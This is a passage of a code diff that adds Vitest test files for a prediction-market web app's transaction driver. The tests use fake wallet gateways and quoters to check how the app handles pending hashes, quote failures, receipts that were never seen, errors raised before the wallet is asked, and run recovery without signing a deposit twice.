"Set up your trade wallet", outcome: { status: "skipped" } }, + { stepId: STEP_ID.deposit, label: "Add money", outcome: { status: "awaiting-signature" } }, + { stepId: STEP_ID.predict(1), label: "Making your prediction", outcome: { status: "pending" } }, + ], + }); + const { driver } = driverOn(fakeReader({ deployed: true }), store); + + driver.recover(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("deposit-unconfirmed")); + driver.reset(); + + expect(store.load(FLOW_ID)).not.toBeNull(); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.pendingHash.test.ts b/apps/web/src/features/predict/run/__tests__/driver.pendingHash.test.ts new file mode 100644 index 00000000..fa823c17 --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.pendingHash.test.ts @@ -0,0 +1,126 @@ +import { createFlowRunStore, createMemoryStorage, type FlowTx, type TxGateway } from "@foresight/tx-orchestrator"; +import type { Hash, TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { addresses, ctx, fakeQuoter, fakeReader, snapshot, WAD } from "../../flow/__tests__/support/fakes"; +import { STEP_ID } from "../../flow/plan"; +import type { PredictCtx, PredictSnapshot } from "../../flow/types"; +import { predictSteps, statusLine } from "../../utils/predictSteps"; +import { createPredictRun } from "../driver"; +import type { PredictDriver, PredictProgress } from "../types"; + +const FLOW_ID = "predict-pending-hash"; + +/** Signs everything; the first receipt wait fails with an error the run cannot classify, later ones mine. */ +function flakyWaitGateway(): TxGateway & { signRequests: FlowTx[] } { + const signRequests: FlowTx[] = []; + let failedOnce = false; + const receipt = (hash: Hash) => + ({ transactionHash: hash, status: "success", blockNumber: 19_000_000n }) as TransactionReceipt; + return { + signRequests, + sendTransaction: (tx) => { + signRequests.push(tx); + return Promise.resolve(`0x${signRequests.length.toString(16).padStart(64, "0")}` as Hash); + }, + waitForReceipt: ({ hash }) => { + if (failedOnce) return Promise.resolve(receipt(hash)); + failedOnce = true; + return Promise.reject(new Error("node said something odd", { cause: "opaque" })); + }, + getReceipt: (hash) => Promise.resolve(receipt(hash)), + isKnown: () => Promise.resolve(true), + }; +} + +const isDeposit = (tx: FlowTx) => tx.to === addresses.collateral || tx.to === addresses.sDaiAdapter; + +const message = (progress: PredictProgress) => + predictSteps({ wallet: null, toAdd: 0n, symbol: "sDAI", decimals: 18, progress }).failure; + +let driver: PredictDriver | undefined; +afterEach(() => driver?.dispose()); + +describe("createPredictRun when a receipt wait fails with an unclassified error", () => { + it("keeps the deposit's hash, offers to check again, and waits on it rather than signing again", async () => { + const gateway = flakyWaitGateway(); + const store = createFlowRunStore({ storage: createMemoryStorage() }); + let collateral = WAD * 2n; + const reader = { ...fakeReader({ deployed: true }), collateralBalance: async () => collateral }; + driver = createPredictRun({ + gateway, + reader, + quoter: fakeQuoter(), + store, + flowId: FLOW_ID, + ctx: () => ctx(), + snapshot: () => snapshot({ deposit: WAD * 3n, collateralIn: WAD * 5n, collateralBefore: WAD * 2n }), + }); + + driver.start(); + await vi.waitFor(() => expect(driver!.getProgress().stage).toBe("halted")); + + const hash = `0x${"1".padStart(64, "0")}` as Hash; + const halted = driver.getProgress(); + expect(halted.failure).toEqual({ reason: "unknown", retryable: true }); + expect(halted.pendingHash).toBe(hash); + expect(message(halted)).not.toBe(message({ ...halted, pendingHash: undefined })); + expect( + store.load(FLOW_ID)?.steps.find((step) => step.stepId === STEP_ID.deposit)?.outcome, + ).toEqual({ status: "submitted", hash }); + + collateral += WAD * 3n; + driver.retry(); + await vi.waitFor(() => expect(driver!.getProgress().stage).toBe("complete")); + + expect(gateway.signRequests.filter(isDeposit)).toHaveLength(1); + expect(driver.getProgress().pendingHash).toBeUndefined(); + }); +}); + +describe("createPredictRun while it checks a sent transaction again", () => { + it("says it is checking that transaction, on the row that sent it, and not the line shown before a run", async () => { + const gateway = flakyWaitGateway(); + let answer: () => void = () => undefined; + const answered = new Promise((resolve) => (answer = resolve)); + const getReceipt = gateway.getReceipt; + gateway.getReceipt = async (hash) => { + await answered; + return getReceipt(hash); + }; + let collateral = WAD * 2n; + const reader = { ...fakeReader({ deployed: true }), collateralBalance: async () => collateral }; + driver = createPredictRun({ + gateway, + reader, + quoter: fakeQuoter(), + store: createFlowRunStore({ storage: createMemoryStorage() }), + flowId: `${FLOW_ID}-checking`, + ctx: () => ctx(), + snapshot: () => snapshot({ deposit: WAD * 3n, collateralIn: WAD * 5n, collateralBefore: WAD * 2n }), + }); + + driver.start(); + await vi.waitFor(() => expect(driver!.getProgress().stage).toBe("halted")); + collateral += WAD * 3n; + driver.retry(); + await vi.waitFor(() => expect(driver!.getProgress().stage).toBe("confirming")); + + const steps = predictSteps({ + wallet: null, + toAdd: WAD * 3n, + symbol: "sDAI", + decimals: 18, + progress: driver.getProgress(), + }); + expect(steps.rows.find((row) => row.key === "funds")?.view).toBe("running"); + expect(statusLine({ steps, leftOut: 0 })).toEqual({ + text: "Checking your last transaction…", + tone: "neutral", + waiting: true, + }); + + answer(); + await vi.waitFor(() => expect(driver!.getProgress().stage).toBe("complete")); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.preWalletError.test.ts b/apps/web/src/features/predict/run/__tests__/driver.preWalletError.test.ts new file mode 100644 index 00000000..ba6b079b --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.preWalletError.test.ts @@ -0,0 +1,179 @@ +import { createFlowRunStore, createMemoryStorage, type FlowTx, type TxGateway } from "@foresight/tx-orchestrator"; +import { + ConnectorAccountNotFoundError, + ConnectorNotConnectedError, + ConnectorUnavailableReconnectingError, +} from "@wagmi/core"; +import { + ChainDisconnectedError, + ChainMismatchError, + ProviderDisconnectedError, + TransactionExecutionError, + UnauthorizedProviderError, + type Hash, + type TransactionReceipt, +} from "viem"; +import { gnosis } from "viem/chains"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { addresses, ctx, fakeQuoter, fakeReader, snapshot } from "../../flow/__tests__/support/fakes"; +import type { SentTx } from "../../flow/types"; +import { createPredictRun } from "../driver"; +import { discardRun, hasPendingTransaction, predictFlowId } from "../interrupted"; +import type { PredictDriver, PredictFailureReason } from "../types"; + +const SESSION = "session-1"; +const FLOW_ID = predictFlowId(SESSION, addresses.owner); +const connector = { name: "Injected" } as never; + +/** viem's sendTransaction throws it with no account, and does not export its class. */ +const accountNotFound = () => + Object.assign(new Error("Could not find an Account to execute with this Action."), { name: "AccountNotFoundError" }); + +/** As viem's sendTransaction wraps what it throws before the wallet is asked. */ +const executing = (cause: Error) => new TransactionExecutionError(cause as never, { account: null, chain: gnosis }); + +const PRE_WALLET: Array<[string, () => Error, PredictFailureReason]> = [ + ["ChainMismatchError", () => executing(new ChainMismatchError({ chain: gnosis, currentChainId: 1 })), "wrong-chain"], + ["AccountNotFoundError", () => executing(accountNotFound()), "wrong-wallet"], + ["ConnectorNotConnectedError", () => new ConnectorNotConnectedError(), "wrong-wallet"], + [ + "ConnectorAccountNotFoundError", + () => new ConnectorAccountNotFoundError({ address: addresses.owner, connector }), + "wrong-wallet", + ], + [ + "ConnectorUnavailableReconnectingError", + () => new ConnectorUnavailableReconnectingError({ connector }), + "wrong-wallet", + ], +]; + +const PROVIDER_CODED: Array<[string, () => Error]> = [ + ["EIP-1193 4100", () => executing(new UnauthorizedProviderError(new Error("unauthorized")))], + ["EIP-1193 4900", () => executing(new ProviderDisconnectedError(new Error("disconnected")))], + ["EIP-1193 4901", () => executing(new ChainDisconnectedError(new Error("chain disconnected")))], +]; + +const isDeposit = (tx: FlowTx) => tx.to === addresses.collateral; + +/** + * A chain that mines each send at once, whose first deposit errors with `error`: refused before the + * wallet sees it, or (`broadcast`) after the deposit has already been mined. + */ +function chain(error: () => Error, { broadcast = false } = {}) { + const mined: Array<{ hash: Hash; tx: FlowTx }> = []; + const sends: FlowTx[] = []; + let refused = false; + + const receipt = (hash: Hash) => + ({ transactionHash: hash, status: "success", blockNumber: 2n, logs: [] }) as unknown as TransactionReceipt; + + const gateway: TxGateway = { + sendTransaction: (tx) => { + sends.push(tx); + const hash = `0x${(mined.length + 1).toString(16).padStart(64, "0")}` as Hash; + if (isDeposit(tx) && !refused) { + refused = true; + if (broadcast) mined.push({ hash, tx }); + return Promise.reject(error()); + } + mined.push({ hash, tx }); + return Promise.resolve(hash); + }, + waitForReceipt: ({ hash }) => Promise.resolve(receipt(hash)), + getReceipt: (hash) => Promise.resolve(receipt(hash)), + isKnown: () => Promise.resolve(true), + }; + + const sentWithNonce = ({ nonce }: { nonce: number }): Promise => { + const sent = mined[nonce]; + if (!sent) return Promise.resolve({ status: "none" }); + const { to, value = 0n, data = "0x" } = sent.tx; + return Promise.resolve({ status: "mined", hash: sent.hash, to, value, input: data, success: true }); + }; + + return { + gateway, + deposits: () => sends.filter(isDeposit).length, + reader: { + ...fakeReader({ deployed: true }), + nextNonce: () => Promise.resolve(mined.length), + sentWithNonce, + }, + }; +} + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +describe("createPredictRun when the client refuses a send before the wallet is asked", () => { + it.each(PRE_WALLET)("%s holds nothing, says why, and the next press signs", async (_name, error, reason) => { + const fake = chain(error); + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const driver = createPredictRun({ + gateway: fake.gateway, + reader: fake.reader, + quoter: fakeQuoter(), + flowId: FLOW_ID, + ctx: () => ctx(), + snapshot: () => snapshot(), + store, + unansweredSend: { waitMs: 20, pollMs: 5 }, + }); + drivers.push(driver); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + expect(driver.getProgress().failure).toEqual({ reason, retryable: true }); + expect(driver.getProgress().unanswered).toBeUndefined(); + expect(driver.getProgress().moneyMoved).toBeUndefined(); + expect(hasPendingTransaction(store, SESSION, addresses.owner)).toBe(false); + + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + expect(fake.deposits()).toBe(2); + }); + + it.each(PROVIDER_CODED)("%s after the deposit was broadcast keeps it and signs it once", async (_name, error) => { + const fake = chain(error, { broadcast: true }); + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const driver = createPredictRun({ + gateway: fake.gateway, + reader: fake.reader, + quoter: fakeQuoter(), + flowId: FLOW_ID, + ctx: () => ctx(), + snapshot: () => snapshot(), + store, + unansweredSend: { waitMs: 20, pollMs: 5 }, + }); + drivers.push(driver); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + expect(fake.deposits()).toBe(1); + }); + + it("lets Close and the card's Discard drop the run it stopped", async () => { + const fake = chain(() => new ConnectorNotConnectedError()); + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const driver = createPredictRun({ + gateway: fake.gateway, + reader: fake.reader, + quoter: fakeQuoter(), + flowId: FLOW_ID, + ctx: () => ctx(), + snapshot: () => snapshot(), + store, + }); + drivers.push(driver); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("halted")); + discardRun(store, SESSION, addresses.owner); + expect(store.load(FLOW_ID)).toBeNull(); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.quoteFailure.test.ts b/apps/web/src/features/predict/run/__tests__/driver.quoteFailure.test.ts new file mode 100644 index 00000000..ad458e82 --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.quoteFailure.test.ts @@ -0,0 +1,243 @@ +import type { FlowTx, TxGateway } from "@foresight/tx-orchestrator"; +import type { Hash, TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { lensQuoterOn, nodeAnswers, type NodeAnswer } from "@/lib/swap/__tests__/support/lensNode"; +import type { SwapQuoter } from "@/lib/swap/types"; + +import { + addresses, + AT, + chainState, + ctx, + DEEP, + fakeQuoter, + fakeReader, + option, + quoterFor, + snapshot, +} from "../../flow/__tests__/support/fakes"; +import type { OptionChainState, PredictOption } from "../../flow/types"; +import { predictSteps } from "../../utils/predictSteps"; +import { createPredictRun } from "../driver"; +import type { PredictDriver, PredictFailureReason, PredictProgress } from "../types"; + +function fakeGateway(): TxGateway & { readonly signRequests: FlowTx[]; cancelNextInWallet: () => void } { + const signRequests: FlowTx[] = []; + const receipt = (hash: Hash): TransactionReceipt => + ({ transactionHash: hash, status: "success", blockNumber: 19_000_000n }) as TransactionReceipt; + let cancelNext = false; + + return { + signRequests, + cancelNextInWallet: () => { + cancelNext = true; + }, + sendTransaction: (tx) => { + signRequests.push(tx); + return Promise.resolve(`0x${signRequests.length.toString(16).padStart(64, "0")}` as Hash); + }, + waitForReceipt: ({ hash, onReplaced }) => { + if (!cancelNext) return Promise.resolve(receipt(hash)); + cancelNext = false; + const cancel = `0x${"c".repeat(64)}` as Hash; + onReplaced?.({ reason: "cancelled", hash: cancel }); + return Promise.resolve(receipt(cancel)); + }, + getReceipt: (hash) => Promise.resolve(receipt(hash)), + isKnown: () => Promise.resolve(true), + }; +} + +const isDeposit = (tx: FlowTx) => tx.to === addresses.collateral; + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +function setup(quoter: SwapQuoter, options: PredictOption[] = [option(1)], state?: () => OptionChainState) { + const gateway = fakeGateway(); + const driver = createPredictRun({ + gateway, + reader: fakeReader({ deployed: true, ...(state ? { state } : {}) }), + quoter, + flowId: `predict-quote-failure-${drivers.length}`, + ctx: () => ctx(), + snapshot: () => snapshot({ options }), + }); + drivers.push(driver); + return { gateway, driver }; +} + +async function settled(driver: PredictDriver) { + await vi.waitFor(() => expect(["halted", "complete"]).toContain(driver.getProgress().stage)); + return driver.getProgress(); +} + +/** What the popup says about a halted run. */ +const message = (progress: PredictProgress) => + predictSteps({ wallet: null, toAdd: 0n, symbol: "sDAI", decimals: 18, progress }).failure; + +const withReason = (progress: PredictProgress, reason: PredictFailureReason): PredictProgress => ({ + ...progress, + failure: { reason, retryable: false }, +}); + +/** A quoter that cannot reach the node until `recover` is called, then quotes as `fakeQuoter` does. */ +function flakyQuoter(answer: NodeAnswer, failAfter = 0) { + const down = lensQuoterOn(answer); + const up = fakeQuoter(); + let asked = 0; + let recovered = false; + return { + recover: () => { + recovered = true; + }, + quote: ((request) => { + asked += 1; + return recovered || asked <= failAfter ? up.quote(request) : down.quote(request); + }) satisfies SwapQuoter["quote"], + }; +} + +const failures: Array<[string, NodeAnswer]> = [ + ["the node cannot be reached", nodeAnswers.unreachable], + ["no quoter is deployed at the address", nodeAnswers.noCode], +]; + +describe("createPredictRun when the quoter cannot be asked", () => { + it.each(failures)("halts before the deposit as a retryable quote failure when %s", async (_, answer) => { + const { gateway, driver } = setup(lensQuoterOn(answer)); + + driver.start(); + const progress = await settled(driver); + + expect(progress.stage).toBe("halted"); + expect(progress.failure).toEqual({ reason: "quote", retryable: true }); + expect(gateway.signRequests.filter(isDeposit)).toEqual([]); + }); + + it.each(failures)( + "tells the visitor it could not get prices, not that no trade exists, when %s", + async (_, answer) => { + const { driver } = setup(lensQuoterOn(answer)); + + driver.start(); + const progress = await settled(driver); + + expect(message(progress)).toMatch(/could not get prices/i); + expect(message(progress)).not.toBe(message(withReason(progress, "no-route"))); + }, + ); + + it.each(failures)("halts the whole run when %s for one option while another routes", async (_, answer) => { + const failing = option(1); + const routing = option(2); + const { gateway, driver } = setup(quoterFor(failing, lensQuoterOn(answer), fakeQuoter()), [failing, routing]); + + driver.start(); + const progress = await settled(driver); + + expect(progress.failure).toEqual({ reason: "quote", retryable: true }); + expect(progress.leftOut).toEqual([]); + expect(gateway.signRequests.filter(isDeposit)).toEqual([]); + }); + + it("halts as a quote failure when no option of several can be quoted", async () => { + const { gateway, driver } = setup(lensQuoterOn(nodeAnswers.unreachable), [option(1), option(2)]); + + driver.start(); + const progress = await settled(driver); + + expect(progress.failure).toEqual({ reason: "quote", retryable: true }); + expect(gateway.signRequests.filter(isDeposit)).toEqual([]); + }); + + it("goes through on retry once the quoter answers again, depositing once", async () => { + const quoter = flakyQuoter(nodeAnswers.unreachable); + const { gateway, driver } = setup(quoter); + + driver.start(); + await settled(driver); + quoter.recover(); + driver.retry(); + const progress = await settled(driver); + + expect(progress.stage).toBe("complete"); + expect(gateway.signRequests.filter(isDeposit)).toHaveLength(1); + }); + + it.each(failures)("halts as a quote failure when a visitor holding nothing only buys, and %s", async (_, answer) => { + // both outcomes below their targets, so every leg is a buy + const buyOnly = () => + chainState({ + pools: { + up: { sqrtPriceX96: 2n ** 94n, liquidity: DEEP, tick: 0, fee: 0n, ticks: [], outcomeIsToken0: true }, + down: { sqrtPriceX96: AT["0.25"], liquidity: DEEP, tick: 0, fee: 0n, ticks: [], outcomeIsToken0: true }, + }, + }); + const { gateway, driver } = setup(lensQuoterOn(answer), [option(1)], buyOnly); + + driver.start(); + const progress = await settled(driver); + + expect(progress.failure).toEqual({ reason: "quote", retryable: true }); + expect(gateway.signRequests.filter(isDeposit)).toEqual([]); + }); + + it.each(failures)("pauses for a retry, without a second deposit, when %s after the deposit", async (_, answer) => { + // The route check quotes one sell and one buy; the build's quotes are the ones that fail. + const quoter = flakyQuoter(answer, 2); + const { gateway, driver } = setup(quoter); + + driver.start(); + const halted = await settled(driver); + expect(halted.failure).toEqual({ reason: "quote", retryable: true }); + + quoter.recover(); + driver.retry(); + const progress = await settled(driver); + + expect(progress.stage).toBe("complete"); + expect(gateway.signRequests.filter(isDeposit)).toHaveLength(1); + }); + + it("reports a batch cancelled in the wallet on the retry as cancelled, not as the earlier quote failure", async () => { + const quoter = flakyQuoter(nodeAnswers.unreachable, 2); + const { gateway, driver } = setup(quoter); + + driver.start(); + expect((await settled(driver)).failure).toEqual({ reason: "quote", retryable: true }); + quoter.recover(); + gateway.cancelNextInWallet(); + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().failure).toBeDefined()); + + expect(driver.getProgress().failure?.reason).toBe("cancelled"); + }); +}); + +describe("createPredictRun when the quoter answers that no route exists", () => { + it("halts as no-route, not retryable, before the deposit", async () => { + const { gateway, driver } = setup(lensQuoterOn(nodeAnswers.noRoute)); + + driver.start(); + const progress = await settled(driver); + + expect(progress.failure).toEqual({ reason: "no-route", retryable: false }); + expect(gateway.signRequests.filter(isDeposit)).toEqual([]); + }); + + it("leaves out the option with no route and trades the one that routes", async () => { + const stuck = option(1); + const routing = option(2); + const { driver } = setup(quoterFor(stuck, lensQuoterOn(nodeAnswers.noRoute), fakeQuoter()), [stuck, routing]); + + driver.start(); + const progress = await settled(driver); + + expect(progress.stage).toBe("complete"); + expect(progress.leftOut).toEqual([stuck.childMarket]); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.reconcile.test.ts b/apps/web/src/features/predict/run/__tests__/driver.reconcile.test.ts new file mode 100644 index 00000000..09057894 --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.reconcile.test.ts @@ -0,0 +1,312 @@ +import { + createFlowRunStore, + createMemoryStorage, + type FlowRunStore, + type FlowTx, + type TxGateway, +} from "@foresight/tx-orchestrator"; +import type { Hash, TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { + addresses, + chainState, + ctx, + fakeQuoter, + fakeReader, + gasLimitFor, + option, + snapshot, + WAD, +} from "../../flow/__tests__/support/fakes"; +import type { PredictReader, SentTx } from "../../flow/types"; +import { createPredictRun, SEND_HOLD_MS } from "../driver"; +import type { PredictDriver } from "../types"; + +/** The third send is the second batch; its receipt waits fail with `waitError` and its lookup says `lookup`. */ +function unseenBatchGateway(args: { + waitError: () => Error; + lookup: "reverted" | "dropped"; +}): TxGateway & { readonly signRequests: FlowTx[] } { + const signRequests: FlowTx[] = []; + const unseen = new Set(); + const receipt = (hash: Hash, status: "success" | "reverted") => + ({ transactionHash: hash, status, blockNumber: 19_000_000n }) as TransactionReceipt; + + return { + signRequests, + sendTransaction: (tx) => { + signRequests.push(tx); + const hash = `0x${signRequests.length.toString(16).padStart(64, "0")}` as Hash; + if (signRequests.length === 3) unseen.add(hash); + return Promise.resolve(hash); + }, + waitForReceipt: ({ hash }) => + unseen.has(hash) ? Promise.reject(args.waitError()) : Promise.resolve(receipt(hash, "success")), + getReceipt: (hash) => { + if (!unseen.has(hash)) return Promise.resolve(receipt(hash, "success")); + return Promise.resolve(args.lookup === "reverted" ? receipt(hash, "reverted") : null); + }, + isKnown: (hash) => Promise.resolve(!unseen.has(hash) || args.lookup === "reverted"), + }; +} + +const isBatch = (tx: FlowTx) => tx.to === addresses.executor; + +const drivers: PredictDriver[] = []; +afterEach(() => { + for (const driver of drivers.splice(0)) driver.dispose(); +}); + +const clock = { at: 1_700_000_000_000 }; + +function setup( + gateway: TxGateway, + store?: FlowRunStore, + flowId = `predict-reconcile-${drivers.length}`, + sentWithNonce?: PredictReader["sentWithNonce"], +) { + const reader = fakeReader({ + deployed: true, + collateral: 0n, + state: () => chainState({ underlying: WAD }), + blockGasLimit: gasLimitFor(1), + }); + const driver = createPredictRun({ + gateway, + store, + now: () => clock.at, + reader: sentWithNonce ? { ...reader, sentWithNonce } : reader, + quoter: fakeQuoter(), + flowId, + ctx: () => ctx(), + snapshot: () => snapshot({ options: [option(1), option(2)], deposit: WAD, collateralIn: WAD }), + }); + drivers.push(driver); + return driver; +} + +describe("createPredictRun when a batch's receipt was never seen", () => { + it("keeps the hash while its nonce reads unused, offering Check again and signing nothing", async () => { + const gateway = unseenBatchGateway({ + waitError: () => new Error("node said something odd", { cause: "opaque" }), + lookup: "dropped", + }); + const driver = setup(gateway); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().pendingHash).toBeDefined()); + const hash = driver.getProgress().pendingHash; + + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().failure).toEqual({ reason: "unseen", retryable: true })); + clock.at += SEND_HOLD_MS - 1; + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("unseen")); + + expect(driver.getProgress().pendingHash).toBe(hash); + expect(gateway.signRequests).toHaveLength(3); + }); + + it("asks before signing again once the nonce stayed unused for ten minutes, and signs on the answer", async () => { + const gateway = unseenBatchGateway({ + waitError: () => new Error("node said something odd", { cause: "opaque" }), + lookup: "dropped", + }); + const driver = setup(gateway); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().pendingHash).toBeDefined()); + clock.at += SEND_HOLD_MS; + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().failure).toEqual({ reason: "resign", retryable: true })); + expect(gateway.signRequests).toHaveLength(3); + + driver.retry(); + await vi.waitFor(() => expect(gateway.signRequests).toHaveLength(4)); + expect(isBatch(gateway.signRequests[3]!)).toBe(true); + }); + + it("on the answer to the ask, signs nothing when the batch mined under its nonce meanwhile", async () => { + const gateway = unseenBatchGateway({ + waitError: () => new Error("node said something odd", { cause: "opaque" }), + lookup: "dropped", + }); + const chain: { minedAs?: SentTx } = {}; + const driver = setup(gateway, undefined, undefined, ({ nonce }) => + Promise.resolve(nonce === 0 && chain.minedAs ? chain.minedAs : { status: "none" }), + ); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().pendingHash).toBeDefined()); + clock.at += SEND_HOLD_MS; + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("resign")); + const batch = gateway.signRequests[2]!; + chain.minedAs = { + status: "mined", + hash: `0x${"a".repeat(64)}`, + to: batch.to, + value: batch.value ?? 0n, + input: batch.data ?? "0x", + success: true, + }; + + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + expect(gateway.signRequests).toHaveLength(3); + }); + + it("on the answer to the ask, says it is pending when the batch was broadcast meanwhile", async () => { + const gateway = unseenBatchGateway({ + waitError: () => new Error("node said something odd", { cause: "opaque" }), + lookup: "dropped", + }); + let broadcast = false; + const driver = setup(gateway, undefined, undefined, ({ nonce }) => + Promise.resolve(nonce === 0 && broadcast ? { status: "pending" } : { status: "none" }), + ); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().pendingHash).toBeDefined()); + clock.at += SEND_HOLD_MS; + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("resign")); + broadcast = true; + + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("pending")); + expect(gateway.signRequests).toHaveLength(3); + }); + + it("lets the hash go once its nonce went to another transaction, and rebuilds the batch on the next press", async () => { + const gateway = unseenBatchGateway({ + waitError: () => new Error("node said something odd", { cause: "opaque" }), + lookup: "dropped", + }); + const other: SentTx = { + status: "mined", + hash: `0x${"e".repeat(64)}`, + to: addresses.owner, + value: 1n, + input: "0x", + success: true, + }; + const driver = setup(gateway, undefined, undefined, ({ nonce }) => + Promise.resolve(nonce === 0 && gateway.signRequests.length >= 3 ? other : { status: "none" }), + ); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().pendingHash).toBeDefined()); + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().pendingHash).toBeUndefined()); + expect(driver.getProgress().failure).toEqual({ reason: "unknown", retryable: true }); + expect(gateway.signRequests).toHaveLength(3); + + driver.retry(); + await vi.waitFor(() => expect(gateway.signRequests).toHaveLength(4)); + expect(isBatch(gateway.signRequests[3]!)).toBe(true); + }); + + it("waits on the hash the same transaction mined under when the wallet replaced it", async () => { + const gateway = unseenBatchGateway({ + waitError: () => new Error("node said something odd", { cause: "opaque" }), + lookup: "dropped", + }); + const replacement = `0x${"a".repeat(64)}` as Hash; + const driver = setup(gateway, undefined, undefined, ({ nonce }) => { + const batch = gateway.signRequests[2]; + if (nonce !== 0 || !batch) return Promise.resolve({ status: "none" }); + return Promise.resolve({ + status: "mined", + hash: replacement, + to: batch.to, + value: batch.value ?? 0n, + input: batch.data ?? "0x", + success: true, + }); + }); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().pendingHash).toBeDefined()); + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().stage).toBe("complete")); + + expect(driver.getProgress().steps.at(-1)?.hash).toBe(replacement); + expect(gateway.signRequests).toHaveLength(3); + }); + + it("keeps an unseen hash and its run on Discard", async () => { + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const gateway = unseenBatchGateway({ + waitError: () => new Error("node said something odd", { cause: "opaque" }), + lookup: "dropped", + }); + const driver = setup(gateway, store, "predict-reconcile-discard"); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().pendingHash).toBeDefined()); + driver.discard(); + expect(store.load("predict-reconcile-discard")).not.toBeNull(); + + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("unseen")); + driver.discard(); + + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("unseen")); + expect(store.load("predict-reconcile-discard")).not.toBeNull(); + expect(driver.getProgress().stage).toBe("halted"); + expect(gateway.signRequests).toHaveLength(3); + }); + + it( + "checks the chain before resuming a run the network paused, and offers a rebuild when the batch reverted", + { timeout: 15_000 }, + async () => { + const gateway = unseenBatchGateway({ waitError: () => new Error("request timed out"), lookup: "reverted" }); + const driver = setup(gateway); + + driver.start(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("rpc"), { timeout: 10_000 }); + expect(driver.getProgress().pendingHash).toBeDefined(); + + driver.retry(); + await vi.waitFor(() => expect(driver.getProgress().failure?.reason).toBe("reverted")); + + expect(driver.getProgress()).toMatchObject({ stage: "halted", failure: { reason: "reverted", retryable: true } }); + expect(driver.getProgress().pendingHash).toBeUndefined(); + expect(gateway.signRequests).toHaveLength(3); + }, + ); +}); + +describe("createPredictRun when it recovers a run whose batch reverted while the tab was gone", () => { + it("halts on the revert with a retry on offer, and signs nothing until it is pressed", async () => { + const store = createFlowRunStore({ storage: createMemoryStorage() }); + const flowId = "predict-reconcile-recovered"; + const left = unseenBatchGateway({ waitError: () => new Error("never"), lookup: "reverted" }); + const other = setup( + { + ...left, + waitForReceipt: (wait) => (left.signRequests.length < 3 ? left.waitForReceipt(wait) : new Promise(() => {})), + }, + store, + flowId, + ); + other.start(); + await vi.waitFor(() => expect(left.signRequests).toHaveLength(3)); + other.dispose(); + + const gateway = unseenBatchGateway({ waitError: () => new Error("never"), lookup: "reverted" }); + const recovering = setup({ ...gateway, getReceipt: left.getReceipt }, store, flowId); + recovering.start(); + await vi.waitFor(() => expect(recovering.getProgress().failure?.reason).toBe("reverted")); + await new Promise((resolve) => setTimeout(resolve, 20)); + + expect(recovering.getProgress()).toMatchObject({ + stage: "halted", + failure: { reason: "reverted", retryable: true }, + }); + expect(gateway.signRequests).toEqual([]); + }); +}); diff --git a/apps/web/src/features/predict/run/__tests__/driver.recoveryOwner.test.ts b/apps/web/src/features/predict/run/__tests__/driver.recoveryOwner.test.ts new file mode 100644 index 00000000..316df50c --- /dev/null +++ b/apps/web/src/features/predict/run/__tests__/driver.recoveryOwner.test.ts @@ -0,0 +1,360 @@ +import { + createFlowRunStore, + createMemoryStorage, + type FlowRunStore, + type FlowTx, + type StepSummary, + type TxGateway, +} from "@foresight/tx-orchestrator"; +import { type Address, type Hash, type TransactionReceipt } from "viem"; +import { afterEach, describe, expect, it, vi } from "vitest"; + +import { addresses, ctx, fakeQuoter, fakeReader, option, snapshot, WAD } from "../../flow/__tests__/support/fakes"; +import { STEP_ID } from "../../flow/plan"; +import type { PredictCtx, PredictOption, PredictSnapshot } from "../../flow/types"; +import { predictSteps } from "../../utils/predictSteps"; +import { createPredictRun } from "../driver"; +import type { PredictDriver, PredictFailureReason, PredictProgress } from "../types"; + +const OWNER_B = "0x00000000000000000000000000000000000000b1" as Address; +const EXECUTOR_B = "0x00000000000000000000000000000000000000b2" as Address; +const DEPOSIT_HASH = `0x${"d".repeat(64)}` as Hash; + +/** A wallet that signs everything and a chain that mines it, including hashes it never signed. */ +function fakeGateway(): TxGateway & { readonly 